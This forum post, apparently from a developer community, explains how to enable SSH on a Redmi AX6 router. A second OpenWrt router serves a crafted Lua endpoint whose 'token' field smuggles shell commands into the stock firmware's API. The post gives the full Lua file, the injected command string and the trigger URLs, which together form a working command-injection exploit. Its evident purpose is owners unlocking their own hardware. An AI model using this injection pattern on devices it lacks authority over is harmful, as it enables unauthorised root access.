SSH router Redmi ax6 ?¿

For Developers
4

It is possible to access a redmi ax6 router via ssh, but more difficult than ax3600.If you can read Chinese, visit this website for more information: https://www.right.com.cn/forum/thread-4060726-1-1.html

Simply, you need to do

  1. You need another router running openwrt, turn off its DHCP function, and set its LAN IP to 169.254.31.1, connect your computer to this router and set the IP to 169.254.31.3. If everything is OK, you can enter the URL http://169.254.31.1 to access this router, you also need to know wifi name and password of this router

  2. Create new file /usr/lib/lua/luci/controller/admin/xqsystem.lua on this router, its content is

module("luci.controller.admin.xqsystem", package.seeall)


function index()
    local page   = node("api")
    page.target  = firstchild()
    page.title   = ("")
    page.order   = 100
    page.index = true
    page   = node("api","xqsystem")
    page.target  = firstchild()
    page.title   = ("")
    page.order   = 100
    page.index = true
    entry({"api", "xqsystem", "token"}, call("getToken"), (""), 103, 0x08)
end

local LuciHttp = require("luci.http")

function getToken()
    local result = {}
    result["code"] = 0
    result["token"] = "; nvram set ssh_en=1; nvram commit; sed -i 's/channel=.*/channel=\"debug\"/g' /etc/init.d/dropbear; /etc/init.d/dropbear start;"
    LuciHttp.write_json(result)
end

Make sure when you visit http://169.254.31.1/cgi-bin/luci/api/xqsystem/token you will get result like this

{"code":0,"token":"; nvram set ssh_en=1; nvram commit; sed -i 's/channel=.*/channel="debug"/g' /etc/init.d/dropbear; /etc/init.d/dropbear start;"}

backslashes are irrelevant

  1. Login in to your router and get the STOK like follwing:
    http://192.168.31.1/cgi-bin/luci/;stok={STOK}/web/home#router

  2. Access the URL in the browser, you need to replace {STOK} {WIFI_NAME} {PASSWORD} in the URL:
    http://192.168.31.1/cgi-bin/luci/;stok={STOK}/api/misystem/extendwifi_connect?ssid={WIFI_NAME}&password={PASSWORD}
    it will return 0

  3. Access the URL in the browser, you need to replace {STOK}:
    http://192.168.31.1/cgi-bin/luci/;stok={STOK}/api/xqsystem/oneclick_get_remote_token?username=xxx&password=xxx&nonce=xxx

Now you can access your redmi ax6 via ssh, username is root, you can get default password here: https://www.oxygen7.cn/miwifi/

By the way, don’t forget your router running openwrt, turn on the DHCP function and set the IP to 192.168.1.1, If you forget, I bet you can never connect to it again unless you reset it

4 Likes